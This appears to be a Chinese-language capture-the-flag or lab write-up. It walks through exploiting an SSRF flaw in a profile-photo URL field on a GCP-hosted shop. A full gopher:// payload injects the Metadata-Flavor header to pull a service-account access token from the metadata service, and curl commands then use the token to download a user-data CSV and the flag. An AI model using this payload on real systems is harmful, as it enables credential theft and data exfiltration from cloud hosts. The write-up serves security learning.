type
status
date
slug
summary
tags
category
icon
password
给了一个IPV4:35.226.245.121
直接访问是个web站点
CTRL + U 查看源代码发现一个存储桶
https://storage.googleapis.com/gigantic-retail/shop/image4.jpg
跟之前一样 还是没有权限
慢慢点击发现一个profile.php
允许我们更新各种详细信息并设置个人照片。而且并没有要求我们上传图片,而是要求我们提供图片的 URL 路径。如果后端 PHP 代码没有对用户提供的输入进行充分验证,这看起来像是一个潜在的 SSRF(服务器端请求伪造)漏洞。
尝试访问内部服务
metadata元数据接口:http://metadata.google.internal/computeMetadata/v1/project/project-id
提示没有权限:
因为我们缺少自定义
Metadata-Flavor:Google
HTTP 头信息。
如果我们在发送给服务器的请求中包含这个标头会怎样呢?那是行不通的,因为它需要在强制服务器请求中设置。想到我们是PHP 支持
gopher
我们可以将 HTTP 请求封装在 Gopher URL 中
gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/<snip>[email protected]/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a
分析一下这个payload
协议和目标:
gopher://metadata.google.internal:80/
- 有效负载的这一部分指定使用 Gopher 协议向 80 端口上的 metadata.google.internal
发出请求。如前所述, metadata.google.internal
是 Google 云服务内部使用的特殊域,用于向虚拟机实例提供元数据信息。- Crafted Request:
GET /computeMetadata/v1/instance/service-accounts/<service-account>/token
- 这是向谷歌云元数据服务 API 提出的 GET 请求,要求提供与服务帐户相关联的访问令牌。我们需要找出与虚拟机关联的服务帐户。%2520HTTP%252f%2531%252e%2531
- 这是 " HTTP/1.1" 的编码形式%250AHost:%2520metadata.google.internal
- 这是一个指定主机的编码头。%250AAccept:%2520%252a%252f%252a
- Accept(接受)字段的编码头,表示在响应中可接受任何媒体类型。%250aMetadata-Flavor:%2520Google
- 最重要的,这将设置访问元数据服务所需的标头。
尝试一下: 成功获取到名为
[email protected]
的自定义服务帐户然后在有效载荷中添加
[email protected]/token
我们将获得服务账户的访问令牌!
gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/[email protected]/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a
我们可能会想到在谷歌云 CLI (gcloud) 中使用令牌,但
gcloud
通常依赖服务账户密钥文件(JSON 格式)或用户账户凭据来进行身份验证,而不是访问令牌。不过我们可以设置 GOOGLE_ACCESS_TOKEN
环境变量,并使用 cURL 向 GCP API 端点发出经过验证的请求
用它来查看存储桶内容
拿到接
mediaLink
字段提供的下载对象的直链。
https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media
curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media"
flag
curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt"